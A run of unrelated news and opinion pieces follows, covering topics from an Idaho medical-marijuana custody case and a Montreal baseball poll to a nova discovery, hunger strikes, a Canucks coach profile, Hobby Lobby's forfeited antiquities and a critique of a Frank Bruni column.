She told the local news station that police had raided her home and taken the couple's medical marijuana supplies, declaring that the presence of the narcotic put the children in danger.
Though the Rineharts say their boys know perfectly well that the drug is for medical use only and not for them to touch, they will do whatever it takes to get their sons back even if it means she has to stop taking the marijuana and go back on traditional medication.
Natural: The Rineharts and Ms Caldwell belong to medical marijuana advocacy group 'Compassionate Idaho'
'We are going to work on getting our children back. And we are going to work on education. And we are going to work on getting medical marijuana laws in Idaho so this doesn't happen to any more people,' sobbed Mrs Rinehart.
While the boys remain in foster care, Health and Welfare officials will work with the police to determine the risk at which the children were put by living with pro-marijuana parents.
A spokesman for Health and Welfare to KTVB.com that when illegal substances are found in a home, their job is to look at the accessibility to the children and if the drug-taking affects a parent's capacity to look after their children.July 13, 2015
By Bruce Anderson & David Coletto
Télécharger les détails en français ici
We asked 500 residents of the greater Montreal area to tell us how they feel about the idea of bringing a Major League Baseball franchise back to the city. Here’s what we found:
The level of support for the idea is very broad, including 16% who say they “love” the idea, another 23% who “really like” it, and 18% who “like” the idea. Another 31% said they were ok with the idea. Only 12% are opposed. Opposition is minimal among all demographic subgroups, while enthusiasm is highest among those 45-59.
When asked if they would buy tickets to see games, the results suggest a solid level of interest. We found that 2% (assuming a total adult population of 2.6 million – 2% is 52,000 people) said they would buy season’s tickets.
Another 10% (roughly 260,000 people) say they would buy tickets to more than 10 games.
19% say they would buy tickets to 5 -10 games. 25% say they would buy tickets to less than 5 games. In total 56% say they would be ticket buyers, and 44% would not.
This suggests a pool of 1,456,000 potential buyers who express an interest in up to 12.5 million game tickets, without including any tickets purchased by visitors to Montreal from other parts of Quebec, or beyond.
Naturally, these estimates are expressions of sentiment rather than firm commitments. Still, to put these numbers in a perspective, the top drawing MLB team in 2014 was the LA Dodgers, who sold 3,782,337 tickets. The Tampa Bay Rays, have had the weakest attendance in recent years, and sold less than 1.5 million tickets in 2014.
Regardless of whether they would attend games, the large majority (72%) support the efforts of Mayor Denis Coderre to attract a Major League Baseball franchise to the city.
Support for the idea of a local franchise is based on more than affection for baseball alone. 79% believe “a major league franchise in Montreal would be good for the local economy” and (78%) believe “a Major League Baseball franchise would generate more taxes for the city”.
The Upshot?
Major sports franchises can be controversial subjects in some circumstances, but the idea of bringing Major League Baseball back to Montreal is a political winner for Mayor Denis Coderre.
More than half of area residents imagine attending games and 8 in 10 think the idea would be good for the economy and the tax base of the city.
According to Abacus Chairman Bruce Anderson:
“The desire for big league ball in Montreal is bigger than a phenomena of former Expos fans lamenting that team’s departure. While the economics of a franchise and a new stadium are undoubtedly complex, there should be little doubt about whether most Montreal residents like this idea. There’s clearly more enthusiasm than skepticism about what this could do for the city and its sports fans.
While major league franchises may count on ticket sales for roughly half of their revenue needs, and corporate purchases, advertising, TV rights and sponsorships for the remainder, a large fan base is a good predictor of healthy revenues from all these other sources.”
Methodology
The survey was conducted online with a total of 500 residents of the Montreal Census Metropolitan Area aged 18 and over from June 18 to 25, 2015.
A random sample of panelists was invited to complete the survey from a large representative panel of Canadians, recruited and managed by Research Now, one of the world’s leading provider of online research samples.
The Marketing Research and Intelligence Association policy limits statements about margins of sampling error for most online surveys. The margin of error for a comparable probability-based random sample of 500 is +/- 4.5%, 19 times out of 20.
The data were weighted according to census data to ensure that the sample matched to Montreal CMA’s population according to age, gender, educational attainment, and subregion. Totals may not add up to 100 due to rounding.
Abacus Data Inc.
We offer global research capacity with a strong focus on customer service, attention to detail and value added insight. Our team combines the experience of our Chairman Bruce Anderson, one of Canada’s leading research executives for two decades, with the energy, creativity and research expertise of CEO David Coletto, PhD.Share. And he'll be at San Diego Comic-Con. And he'll be at San Diego Comic-Con.
The LEGO Group's first announcement related to San Diego Comic-Con this year is that they're bringing a 51" tall, life-size LEGO model of Jay Walker - a character from the Ninjago: Master of Spinjitzu TV series - to the show floor.
Even if you're not familiar with the series, it's an impressive sculpture, taking multiple LEGO Master Builders 345 hours to construct.
The sculpture is 59.2" wide and ties in with the promotion of a full-length Ninjago feature film, which is set to release in 2017.
Exit Theatre Mode
Alanah Pearce is IGN's Toys & Culture Editor, and she's looking forward to attending her first ever SDCC this year! Woo! You can find her on Twitter @Charalanahzard.XMM-Newton discovers the star that everyone missed
On 9 October 2007, ESA’s orbiting X-ray observatory XMM-Newton was turning from one target to another. As it did so, it passed across a bright source of X-rays that no one was expecting. The source was not listed in any previous X-ray catalogue, yet XMM-Newton was receiving some 50 X-rays every second from this mysterious object.
XMM-Newton has discovered an exploding star in the Milky Way. Usually that would be important in itself, but this time there is a special twist. Calculations show that the explosion must have been clearly visible to the unaided eye but was missed by the legions of star watchers around the planet.
Novae occur when a compact star, called a white dwarf, feeds off the gas of a nearby companion star. When sufficient gas builds up on the white dwarf, a nuclear reaction begins releasing large quantities of energy, prompting the white dwarf to shoot up in brightness.
Astronomers using the 6.5-m Magellan-Clay telescope at Las Campanas Observatory in Chile, found that USNO-A2.0 0450-03360039 had dramatically brightened by more than 600 times. Analysing the light from the source meant that they could classify the object as a nova.
The only celestial object the XMM-Newton team could find at this location was a faint star, known only by its catalogue number USNO-A2.0 0450-03360039. Acting quickly, Andy Read of the University of Leicester and Richard Saxton of ESA’s European Space Astronomy Centre (ESAC), Spain, arranged for an astronomical telegram to be circulated across the Internet, informing other astronomers of the newly-discovered X-ray source.
All the sources detected in the XMM-Newton slew survey But there was a puzzle. The incandescent explosion does not immediately release X-rays; the expanding cloud of debris created in the detonation temporarily masks them. As this clears, the X-rays shine through. So, for XMM-Newton to see this nova, the explosion must have taken place many days before. Yet, no one had reported seeing it. Usually, dedicated amateur and professional astronomers find novae by regularly sweeping the night sky for stars that suddenly brighten. This one, it seemed, had slipped the net. Saxton contacted the robotic survey project ASAS and asked them to check their data. They found the nova. It had taken place on 5 June 2007 and had been clearly visible, even to the unaided eye. “Anyone who went outside that night and looked towards the constellation of Puppis would have seen it,” says Saxton.
XMM-Newton The nova is now officially designated V598 Puppis and is one of the brightest for almost a decade, doubling the irony that it was not spotted during its brilliant peak. As news of it spread, the global effort to track its fading light became intense. “Suddenly there was all this data being collected about the star. For variable star work like this, the contribution of the amateur community can be at least as important as that from the professionals,” says Read. Thanks to XMM-Newton, this story has a happy ending, but it does make astronomers wonder whether there are other discoveries going unnoticed too.The head of the Arab League has called for UN Secretary General Antonio Guterres to stand up for the Palestinian prisoners on hunger strike inside Israeli jails, Quds Net reported on Tuesday. In a letter sent to Guterres, Ahmed Abul-Gheit expressed his “deep concerns” about the “harsh humanitarian situation” of the prisoners.
About 1,500 Palestinian prisoners started an open-ended hunger strike on 17 April in protest at the conditions imposed on them by the Israeli authorities.
Read: 1,500 Palestinian prisoners continue hunger strike
According to spokesman Mahmoud Afifi, the letter to the UN was consistent with the Arab League’s interest in the Palestinian cause, which is the “central issue” of the Arab nations. He said that Abul-Gheit pointed out to Guterres that the Palestinian prisoners “suffer undignified treatment inside Israeli jails and have gone on hunger strike as the most peaceful means to call for their rights and protest at the inhumane conditions.” The letter also criticised the Israeli threat to punish the hunger strikers and other prisoners who are ready to join the protest if the prison authorities do not respond to their demands.
Abul-Gheit called for Guterres not to only condemn the Israeli measures and human rights violations, but also to take practical measures that guarantee Israeli respect for international law as the occupying power, based on the Fourth Geneva Convention.Dyett High School hunger striker Cathy Dale insists, "We are prepared to die." View Full Caption DNAinfo/Ted Cox
CITY HALL — The Dyett High School hunger strikers entered the fifth week of their protest Monday, with one insisting, "We are prepared to die."
Several of the now 15 Dyett hunger strikers returned to City Hall Monday on their 29th day without solid food to call on Mayor Rahm Emanuel to at least have a "respectful conversation" with them over the future of the Bronzeville school in Washington Park.
Since Aug. 17, a dozen hunger strikers have been demanding that Chicago Public Schools accept the proposal put forth by the Coalition to Revitalize Dyett High School to convert it into a Global Leadership and Green Technology academy.
Ted Cox says the situation is quickly becoming dire for protesters:
Cook County Commissioner Jesus "Chuy" Garcia and Ald. Ricardo Munoz compared it to a similar hunger strike in Little Village in 2001. View Full Caption DNAinfo/Ted Cox
They have rejected CPS' move to turn it instead into a neighborhood open-enrollment arts high school.
"A compromise happens when two people come together and they work out together something that's agreeable to both parties," said Jitu Brown, a leader of the hunger strike, Monday at City Hall. "There was no compromise."
According to Brown, he was told about the CPS plan 15 minutes before it was presented by Chief Executive Officer Forrest Claypool. Brown said he asked to continue to negotiate, but Claypool responded, "We're moving forward."
"That's not compromise," Brown said.
Brown said an art school "doesn't make sense," in that "the arts is not a growth industry," while green technology is growing.
"Don't give me crumbs and tell me it's a cake," Brown said. "Why should black children always accept less?"
Yet CPS wasn't backing down, either. "As we announced on Sept. 3, Dyett will reopen as a neighborhood, open-enrollment high school in the fall of 2016," said Chief Education Officer Janice Jackson. "The new school concept was celebrated by a broad coalition of community groups, clergy, and elected officials representing Bronzeville and the larger South Side community, and it will incorporate key themes identified by the [Request For Proposals] process, such as a technology hub for the larger community, and the need for fine-arts programming that are consistent with the legacy of the school's namesake, Captain Walter H. Dyett."
Hunger protester Cathy Dale, however, labeled the supporters of that proposal "vultures," calling them "the people who have sold us out."
Jackson said the district has begun the process of selecting the school's principal, "who will play a pivotal role in leading the school as it begins its next chapter." Yet the Dyett hunger strikers are demanding a role in that selection and what Brown called "prominent seats on the school design team."
Brown said he has lost 36 pounds on the strike.
"We are prepared to die," Dale added. "We're not going to go away. We're just not going to go away."
"This is a very, very serious health situation for these individuals," said Dr. Peter Sporn of Northwestern University. "Really it's on the mayor now for this to end."
"This is a life-threatening situation at this point," added Erin Raether of Nurses for Social Justice, who has treated some of the hunger strikers during their fast. "They didn't look like this 29 days ago."
Cook County Commissioner Jesus "Chuy" Garcia (D-Chicago) and Aldermen Susan Sadlowski Garza (10th) and Ricardo Munoz (22nd) lent their support to the hunger strikers Monday.
"I find it really important that they be given a seat at the table when a decision is being made on a neighborhood school," Garza said. "Part of the problem is they've never been given a seat at the table to even have that dialogue."
"It's important to recognize the struggle of neighborhoods to improve themselves," Munoz added.
Garcia, who ran against Emanuel for mayor earlier this year only to lose in a runoff, compared it to a 19-day hunger strike Latino activists engaged in in 2001, which eventually produced Little Village Lawndale High School four years later.
Calling a hunger strike a "protracted, drastic measure," Garcia nonetheless said it produced a compromise when "cooler heads prevailed on both sides." He called on the mayor to meet with the Dyett hunger strikers, adding, "Dialogue and face-to-face meetings can go a long way."
The hunger strikers say they've gone without solid food, even as some have used protein shakes, juice, broths and sport drinks to keep their energy up.
India's Mahatma Gandhi engaged in several hunger strikes in his non-violent protests in the mid-20th century, but the practice is probably best remembered from the early '80s, when 10 Irish Republican Army hunger strikers died in their fast to demand better treatment from the British government while in prison. Bobby Sands died on the 66th day of his hunger strike, while others lasted between 46 and 73 days.
"We're not the ones bullying," Brown said. "We're the ones being bullied. And we're not the ones being unreasonable."
For more neighborhood news, listen to DNAinfo Radio here:Players, coaches dish on Vancouver's rookie bench boss — all say he's the real deal who doesn't muddle his message.
Ray Ferraro is a razor-sharp analyst.
He picks up game details others often overlook. He knows where the NHL is trending on the ice and what’s happening off it. He knows who runs a bench better than others.
However, he never fathomed that Travis Green, his former New York Islanders teammate from 1992-95, would one day become the 19th head coach of the Vancouver Canucks.
What chance did he give a gifted guy, who had to first reinvent himself just to remain relevant as a player, and then have junior- and minor-league success to become a fair-but-firm rookie NHL coach in his home province?
“Zero,” said Ferraro. “This is the evolution of Travis: Skilled, lazy, challenged, changed, diligent, hard working.
“Everything Travis is now is not what he was when he broke in as a player. This is why I think he has a chance to be really successful. He understands what a scorer thinks, because he was one. He understands what a guy thinks when he gets kicked in the shins because he got booted.
“He understands what it is to remake yourself and has travelled a wide spectrum to get where he is. You can be the smartest guy in the world, but if you can’t get your message to be understood, it doesn’t matter.
“As they get older, players appreciate when a coach is direct. It gets your attention. When you’re honest, it buys you collateral. If you want to be a hard ass and don’t communicate and don’t follow through, players smell that in a hurry.”
Fear is a hell of a motivator.
The big thing the 46-year-old Green has going for him is how he doesn’t muddle the message. Nothing is lost in translation. Talk to any player and all he wants to know is what’s expected. It started the first day of camp when a drill was stopped and Green barked. It ended with a bag skate.
Green isn’t the first NHL newcomer to crack a whip. But he is his own man. Whatever you make of Willie Desjardins’ time here — hired to win, reluctant to play the kids and too loyal to veterans — there’s no grey area with Green. Tempo and pace are his buzzwords. And there’s no comfort zone.
Musical lines are proof. The latest had Loui Eriksson with Bo Horvat and Baertschi and Brock Boeser with Alexander Burmistrov and Sam Gagner. Markus Granlund was a fourth-line left-winger and Jake Virtanen was the odd man out.
“Practices have been hard,” said winger Sven Baertschi, who also played for Green in Utica and Portland. “We didn’t practise like this last year. Travis is a real competitive person and he cares, but he demands a lot. His feel for players has made him successful so far and his feel for game days really sets him apart.”
The caring part showed when Baertschi arrived in Portland from Switzerland to commence the 2010-11 season. It was his first time in the United States and he didn’t speak English.
“Travis actually came and picked me up at the airport because he knew it was tough for me,” recalled Baertschi. “I was 16½ and had no idea who he was. He took me under his wing right away and was really supportive.
“He gave me a chance to adjust and didn’t pressure me right away. But he made me understand what it took to play in the NHL and did it pretty quick.”
That speaks to Green’s history on Long Island. In the 1992-93 season, Ferraro suffered a broken leg and dislocated ankle in Chicago at the end of a breakaway when run into the end boards by Cam Russell. Not only was Green given an opportunity to play more behind Pierre Turgeon, there was little leeway for Ferraro when he returned.
“There were six games left and in the first three I played really poorly because I had been out for three months,” recalled Ferraro. “Al called me into his office and said: ‘You’ve got three games to get going or you’ll be sitting with Claire (his wife) in stands.’
“What he did there is what I believe Travis has learned. You make it clear, you give an opportunity and then you let the player decide because Travis is direct and blunt with players.”
Jake Virtanen is a prime example of that mantra. But he always knew where Green was coming from. And Green knew where Arbour was coming from.
“Al was really hard on Travis,” added Ferraro. “We went to the semifinals in 1993 and in the second round, Travis played nose-to-nose against Mario Lemieux. If anybody had predicted that three years earlier, they would have been thought to be crazy.”
Ferraro was already making his way in the game at 17 when he left Trail in the fall of 1981 to advance his career. It was the same time a 10-year-old minor-hockey magician was doing his thing in Castlegar. And it didn’t take long for word to get around the Kootenays that Green was going to be something special.
How special?
A 51-goal, 102-point season as an imposing centre with the Spokane Chiefs in 1988-89. A 23rd overall pick in the 1989 draft by the Islanders, who would amass 455 points in 970 career regular-season games with five teams.
Green was good but had to reinvent himself before retiring at age 37. He went from a reliable 25-goal scorer to 10-goal checker and shutdown guy. And everything he gleaned along the way caught the attention of Mike Johnston.
He offered Green an assistant position with the Portland Winterhawks in the 2009-10 season and the budding bench boss made his mark in 2012-13. When Johnston was suspended for WHL player-benefit violations, Green guided the Winterhawks to a 37-8-0-2 run and a WHL championship before losing in the Memorial Cup Final.
That earned a four-year run with the Utica Comets and a 2015 Calder Cup Final appearance that put Green on the NHL radar.
Johnston, a first-year Pittsburgh Penguins coach, thought so highly of Green that he offered an assistant position before the 2014-15 season.
Green chose to run his own AHL bench before eventually transitioning to the NHL as a bench boss. And he was a hot commodity. There was interest in Anaheim and Denver before he eventually landed in Vancouver.
“He trusts his instincts and he has a certain approach with his personality,” said Johnston. “He’s very strong in what he wants to do and is very determined and is going to get the most out of that team. And if Vancouver didn’t take him, several other teams would have wanted a crack at him.”
All of this doesn’t surprise new Canucks assistant coach Nolan Baumgartner.
In four years at Utica, he saw Green grow as a teacher, outwit the opposition, stay true to his principles and show a quick wit.
“It’s hard to explain if you’re not around him everyday,” said Baumgartner. “With how fast the game is, he picks things up really quick. He’ll show you a video clip and say: ‘We’ll do this, this and this.’ I would rewind it four times to finally figure out what to do.
“He has a mind for numbers. He was a smart player and knows both sides of the puck. And he’s not in everybody’s business, but he’s on top of stuff. He’s prepared. He’s ready for this.”
But can he enjoy it amid intense scrutiny?
“He’s never in a bad mood,” said Baumgartner. “We have the same sense of humour and we don’t take each other too seriously. But when it does get time to be serious, we’re a good match.”
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Email [email protected] (Reuters) - The Dutch artist and children’s author Dick Bruna, whose much-loved cartoon rabbit Miffy has sold more than 80 million books since its creation in 1955, has died aged 89, his publisher said in a statement on Friday.
Bruna created the character to entertain his infant son after seeing a rabbit in the dunes while on a seaside holiday and went on to relate the giant-eared, orange-pullovered bunny’s adventures in over 30 books sold worldwide.
Born in 1929 into a family of publishers, Bruna began his career as an illustrator of covers for books including Ian Fleming’s James Bond series and the Inspector Maigret thrillers of Georges Simenon.
Miffy, known as Nijntje in Dutch, was his best known creation, enjoying great popularity in Asia and adorning lunchboxes the world over.The Obama Administration has been publicly pushing the idea that questions about the administration’s actions and truthfulness in regards to last year’s attack on the Benghazi consulate was a “phony scandal.”
In private, though, it appears the Administration is working very hard not to have any information contradicting their claims to truthfulness from coming out. CNN is now reporting that “dozens” of CIA employees were on the ground in Benghazi at the time of the attack. Here’s what the Administration is doing to try to keep that fact under wraps:
Since January, some CIA operatives involved in the agency's missions in Libya, have been subjected to frequent, even monthly polygraph examinations, according to a source with deep inside knowledge of the agency's workings.
The goal of the questioning, according to sources, is to find out if anyone is talking to the media or Congress.
It is being described as pure intimidation, with the threat that any unauthorized CIA employee who leaks information could face the end of his or her career.
In exclusive communications obtained by CNN, one insider writes, "You don't jeopardize yourself, you jeopardize your family as well."
Let that last statement sink in. It ought to be a familiar tactic.
CNN's exclusive, of course, is not the first mention of CIA involvement in Benghazi. The second part of the Benghazi attack was on the CIA annex in the Libyan city. The CIA apparently was not sure how the attackers knew about the facility in the first place.
Paula Broadwell, the intelligence officer-cum-palace journalist whose affair with David Petraeus ended the general’s career as CIA director, believed the CIA annex in Benghazi was a secret prison and that the attack was a jihadi jailbreak (something we’ve seen from Iraq to Pakistan in recent months).
President Obama and administration officials, of course, chose to blame a video, something that was known to be patently false very early on in the aftermath, both to US officials on the ground and anyone who was paying attention and had half a clue. The latest revelations about the extent of the CIA presence in Benghazi on September 11, and the extent to which the administration is trying to prevent it, at least provide some minor insight as to why the Obama Administration was so committed to the lie of the video.
I argued a few months ago that the answer to Hillary Clinton’s question of “what difference does it make?” what the facts on Benghazi are is that it betrays a complete disregard for truthfulness from this administration to the public. That continues.Long-time, and oft-injured, Toronto Blue Jays pitcher Dustin McGowan is signing with the Los Angeles Dodgers, reports Dodgers.com's Ken Gurnick in a Sunday afternoon tweet.
Expect the Dodgers to sign free-agent reliever Dustin McGowan, who is at Camelback Ranch-Glendale. The club has not confirmed an agreement. — Ken Gurnick (@kengurnick) February 22, 2015
McGowan had spent 15 years in the Blue Jays organization, since being drafted in the supplementary round of the 2000 draft, four picks after Adam Wainwright. The Blue Jays go the supplementary pick as compensation for the loss of Graeme Lloyd, which connected McGowan all the way back to Rogers Clemens on the Blue Jays Roster Tree Route Map.
He has been in the Blue Jays organization for so long that five of the minor league clubs he's played on (Medicine Hat, Auburn, Charleston, New Haven, Syracuse) are no longer Blue Jays affiliates.
McGowan was a 23-year-old when he was called up from double-A to make his major league debut in a start against the Rangers. He allowed a run and three walks, but he struck out six and gave up just two hits.
His battle with various injuries have been well documented but I just want to put his career transactions here just to show just how many times he found himself on the disabled list (table from Pro Sports Transactions):
Date Notes 2000-06-05 compensation round A pick (#33 overall) 2001-03-03 assigned to minor league camp 2003-11-20 added to 40-man roster 2008-07-01 surgery on right shoulder (date approximate) 2008-07-09 placed on 15-day DL with sore right shoulder 2008-10-02 activated from 15-day DL 2009-04-05 placed on 15-day DL recovering from surgery on right shoulder 2009-10-13 activated from 15-day DL 2010-04-04 placed on 15-day DL recovering from surgery on right shoulder 2010-04-15 transferred to 60-day DL recovering from surgery on right shoulder 2010-11-10 activated from 60-day DL 2011-03-12 placed on 60-day DL recovering from surgery on right shoulder 2011-07-02 assigned to minors for rehab 2011-08-05 assigned to A (for rehab) 2011-09-05 activated from 60-day DL 2012-04-03 placed on 15-day DL with plantar fasciitis in right foot 2012-05-25 transferred to 60-day DL with plantar fasciitis in right foot 2012-10-31 activated from 60-day DL 2013-03-31 placed on 15-day DL with right shoulder injury 2013-04-07 transferred to 60-day DL with sore right shoulder 2013-05-14 assigned to minors for rehab 2013-06-08 called up from minor league rehab 2013-06-08 activated from 60-day DL 2013-08-01 placed on 15-day DL with strained right oblique 2013-08-30 assigned to minors for rehab |
were there - there were families on board these boats as well?
NICHOLS: Yeah, a whale ship captain or wailers typically would go off on voyages that lasted three to five years. And whaling captains who might have a 40-year career often spend no more than, say, five years at home in total. So a lot of wives and their children went on these voyages around the world. And the whale ships often moved in company with other whale ships. So on Sundays they'd have a church service on board one or other of these ships, and the women would get together, and they'd all be rowed over to each other ships to talk and - as the men would, too. So they moved in these flotillas around the world following the whales.
GREENE: So this whole community on board ships gets trapped in this channel - what happens? Did people survive?
NICHOLS: Amazingly, everybody survived. What happened was the weather turned. The wind blew from the sea, and it blew the ice onto this channel. And the ships were all pushed up against the shore by the ice, and the ships began to be destroyed by the ice. And at that point they thought how are we going to get 1,200 men, women and children out of here? So they took to their whale boats, these little peapods from classic Arctic whaling illustrations. And they rode down the coast - sometimes there was so little water that they had to drag them over the ice - all these people until they got far enough south that they were into open water. And there were seven whale ships that were not trapped, and they all made it.
GREENE: That's extraordinary. You have 1,200 people marching across the ice dragging little boats, I mean, did it have a big impact on the industry in 1871?
NICHOLS: It actually finished it off. Petroleum had been found in 1859. Whale ships did go out afterwards but in one year, 1871, this disaster wiped them all out.
GREENE: But whaling remained an enterprise, I mean, through - you know, into the 20th century.
NICHOLS: Yes, it did. But the world didn't turn on it as it had in the 19th century. And actually I was sailing across the Atlantic on a little leaky wooden boat in 1971, and I stopped in the Azores.
GREENE: Those are - those are Portuguese islands sort of way off in the Atlantic - right?
NICHOLS: They're Portuguese islands. And those people there were still practicing whaling in little open peapod boats along the traditional model. And while I was there a great shout went up - a bell rang one day, and these people dropped their tools in the field. They all ran down to the beach and jumped in these whale boats and went after Sperm whales that I could see spouting. They paddled out there and spent hours chasing these whales and harpooned them by hand.
GREENE: Well, Peter, it's been really cool hearing about all of this. Thank you so much for talking to us.
NICHOLS: Thank you, David.
GREENE: Peter Nichols, he's author of the book "Oil And Ice." This is NPR News.
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See New York Times article about Dr Huffman’s curved folding.Hobby Lobby To Forfeit Smuggled Iraqi Antiquities
Enlarge this image toggle caption Department of Justice Department of Justice
Updated at 10:20 a.m. ET Thursday.
Hobby Lobby, the Oklahoma-based chain of arts and crafts retail stores, has agreed to pay a $3 million fine and forfeit thousands of ancient clay tablets and clay bullae that were smuggled into the United States with improper labels.
The announcement by the Justice Department says Hobby Lobby bought over 5,500 artifacts, such as clay tablets and blocks with cuneiform writing, and cylinder seals for $1.6 million. The artifacts, originally from Iraq, were shipped to the company from the United Arab Emirates and Israel with labels that described them as "ceramic tiles" or "clay tiles (sample)."
In a statement, Hobby Lobby President Steve Green said the company "was new to the world of acquiring these items, and did not fully appreciate the complexities of the acquisitions process. This resulted in some regrettable mistakes."
"We should have exercised more oversight and carefully questioned how the acquisitions were handled," he said.
But the Justice Department prosecutors say the company should have realized that its acquisition of the artifacts "was fraught with red flags."
In the announcement by Bridget M. Rohde, Acting United States Attorney for the Eastern District of New York, says that in October 2010, "an expert on cultural property law retained by Hobby Lobby warned the company that the acquisition of cultural property likely from Iraq, including cuneiform tablets and cylinder seals, carries a risk that such objects may have been looted from archaeological sites in Iraq."
The expert also told Hobby Lobby that the government could seize artifacts with "an improper declaration of country of origin for cultural property."
Green said the company has adopted internal policies for importing cultural property and "is pleased the matter is resolved."
He added that Hobby Lobby's interest in acquiring historical Bibles and other artifacts "is consistent with the Company's mission and passion for the Bible."
For years, Green has been building a eight-story, $500 million museum in Washington, D.C., called the Museum of the Bible, to house his collection of tens of thousands of artifacts.
The museum is slated to open this November.U.S. and Canadian diplomats serving in Havana have been injured in a mysterious sonic attack that has caused hearing loss.
More diplomats than previously reported have been hurt, CNN reported on Sunday, from attacks that have targeted diplomatic residences and hurt family members of people serving their country in Cuba.
It said more than 10 U.S. diplomats and family members had been treated for injuries, citing two senior government officials.
Five Canadian diplomats and family member have experienced similar problems, CNN reported.
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The report comes amid rising tensions between the U.S. and Cuba in the wake of President Trump's announcement that he will roll back the U.S. opening to Cuba initiated by the Obama administration.
The Washington Post reported in August that the State Department expelled two Cuban officials from the country's embassy in Washington, D.C., in May after U.S. diplomats originally reported their symptoms.
Cuban officials pledged to investigate the incidents.
CNN said the attacks appeared to use a sophisticated weapon that "operated outside the range of audible sound."
It said the weapon causes headaches and nausea in addition to hearing loss, and that the effects were immediate.
Secretary of State Rex Tillerson Rex Wayne TillersonHeather Nauert withdraws her name from consideration for UN ambassador job Trump administration’s top European diplomat to resign in February Pompeo planning to meet with Pat Roberts amid 2020 Senate speculation MORE has called on Cuba's government to figure out what is behind the attacks.
Cuba's government, for its part, has said it is not responsible and that it would never allow such weapons to be used against diplomats within its borders.As exclusively reported by the Telegraph Sport on Wednesday, Manchester United are understood to be keen on signing Sadio Mane after missing out on Pedro.
The Southampton striker had an impressive first season with the Saints, scoring ten Premier League goals, including the fastest ever league hat-trick.
Saints fans are understandably anxious at the prospect of losing their striker, and one young fan sought assurances over Sadio Mane's future from the man himself...
When the boy pleaded with Mane to 'please stay, Sadio', the striker responded with a comforting embrace before promising 'I will'.
Manchester United are understood to be ready to formalise their interest in the Senegalese international with a £20m bid.
However Southampton manager, Ronald Koeman, is thought to be intent on retaining the player, and has criticised Louis van Gaal for publicly courting his star striker, claiming his fellow Dutchman is attempting to unsettle the number ten.As anyone who has read an Op-Ed by New York Times columnist Frank Bruni knows all too well, New York Times columnist Frank Bruni is not very good at writing Op-Eds.
True, he’s probably better at it than he was at being a political reporter. Then again, that’s an extremely low bar, considering how chummy he got with George W. Bush during the 2000 campaign. In fact, so long as Jeb Bush is never compelled to confess his “love” to him (something W did on multiple occasions) we’ll be able to say Bruni’s work has improved, technically.
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Yet even that might be asking too much. Because if he keeps writing columns like his latest — a bizarre paean to corporations that tip-toes the line separating vulgar neoliberalism from a kind of soft-touch fascism — it’s hard to imagine the folks over at the GOP nominee’s headquarters won’t look upon him with deep affection. After all, what kind of Republican candidate wouldn’t love a New York Times columnist who says it’s “fine” if “big corporations … rule the earth”?
And, no, that’s not me playing fast-and-loose with my ellipses or quoting Bruni out of context. Here’s how his column, which is fittingly titled “The Sunny Side of Greed,” begins: “In the dire prophecies of science-fiction writers and the fevered warnings of left-wing activists, big corporations will soon rule the earth — or already do. Fine with me.” Strong stuff, calling for the end of democracy. He must have one helluva reason.
Nah, not really; Bruni’s endorsement of a dictatorship of the Fortune 500 is the result, apparently, of corporate America’s recent disavowal of the Confederate battle flag, as well as their support of same-sex marriage and immigration reform. Obviously, the multinationals are making the right choice on all three issues. But if you feel a bit like Slate’s Jamelle Bouie, who called Bruni’s piece “a caricature” of a kind of identity-politics-obsessed (and economic-politics-illiterate) “social justice,” it’s for good reason.
But before we get into the various reasons why the New York Times should be embarrassed about running Bruni’s piece, let’s allow him to make his case. Here’s what he’s got regarding corporations and the Confederate flag. It ain’t much:
Almost immediately after the fatal shooting of nine black churchgoers in Charleston, S.C., several prominent corporate leaders, including the heads of Walmart and Sears, took steps to retire the banner as a public symbol of the South; others made impassioned calls for that.
OK, sure. That was noteworthy, which is one reason why I wrote about it last week. But as Bruni himself acknowledges later in the column, these corporations didn’t decide to stop monetizing white supremacism due to conscience. They did it because it they wanted to get ahead of inevitable petitions and boycotts; and because they hoped there’d be enough Frank Brunis out there to say the decision — which, again, was to stop using white supremacy for profit — was progressive.
Bruni uses the same argument regarding the massive backlash that Indiana suffered this year, and Arizona suffered last year, after passing so-called “religious liberty” bills that were quite obviously anti-gay. He notes that corporate America is more progressive on LGBT issues than the religious right. That is both true and a bit like praising Donald Trump for being less racist than Cliven Bundy. We can set our standards a little higher than “not as bad as Mike Huckabee.”
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Silliest of all, though, is his praising corporate America for supporting immigration reform. At least when Walmart removes its Confederate flag futons, or when Apple says it doesn’t want to set up shop in a state with laws it considers anti-gay, they’re doing something that people are going to notice. For immigration reform, on the other hand, Bruni’s example of corporate integrity is…the fact that they signed a pro-reform public letter from the Chamber of Commerce. Take that, John Hancock!
As creaky as the mechanics of his argument may be, however, the real problem with Bruni’s piece has more to do with how he views democracy than how he views corporations. Throughout the column, he sets up a dynamic that anyone familiar with modern illiberalism will find unpleasantly familiar. On one side, we have the stupid, petty masses and the weak, craven politicians who serve them. On the other, the elect, who could make all our problems go away if only we’d let them.
For example, when Bruni praises corporate America for disowning the Confederate flag, he does so by suggesting that they helped South Carolina Gov. Nikki Haley and other state lawmakers “see the light” by promising to “have [their] back” if there was a voter outcry. When he’s celebrating big business for not being anti-gay, he’s crediting their ability to “put a special kind of pressure on politicians” — a rather euphemistic way to applaud the primacy of capital over votes.
That said, it’s when Bruni talks about what corporations are not that we get the best sense of how he understands democracy. “Corporations aren’t paralyzed by partisan bickering,” he writes. “They’re not hostage to a few big donors, a few loud interest groups or some unyielding ideology.” He supports this point by throwing in a few clichéd quotes from Bradley Tusk, who is — I kid you not — a onetime Lehman Brothers executive and former campaign manager to Michael Bloomberg, one of the most plutocratic and authoritarian American politicians of his era.
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At the end of the column, Bruni throws in the usual butt-covering “to be sure” paragraph about how corporations aren’t entirely awesome. The whole climate change thing isn’t so great, he admits; and exploiting workers, that’s no good. Yet while he’s willing to concede that an amoral drive to maximize profit might not always lead to a good outcome, it never occurs to him that the “few big donors,” “few loud interest groups” and “unyielding ideology” he blames on democracy might involve corporations, too.
Or maybe that’s not giving Bruni enough credit. Maybe it’d be better to say that when it comes to the issues he cares about, which appear to be same-sex marriage, immigration reform, and not celebrating the Confederate battle flag, he likes corporations’ influence on democracy plenty. But when it comes to all that economic mishegoss — all that health care, education, equality, human welfare stuff — Frank Bruni, new owner of a $1.65 million apartment on the Upper West Side, couldn’t care less.
Small wonder, then, that a compassionate conservative-era George W. Bush was so willing to mouth to Bruni four simple words: “I love you, man.”For Banks 'Too Big To Jail,' Prosecutors Count On A Promise To Behave
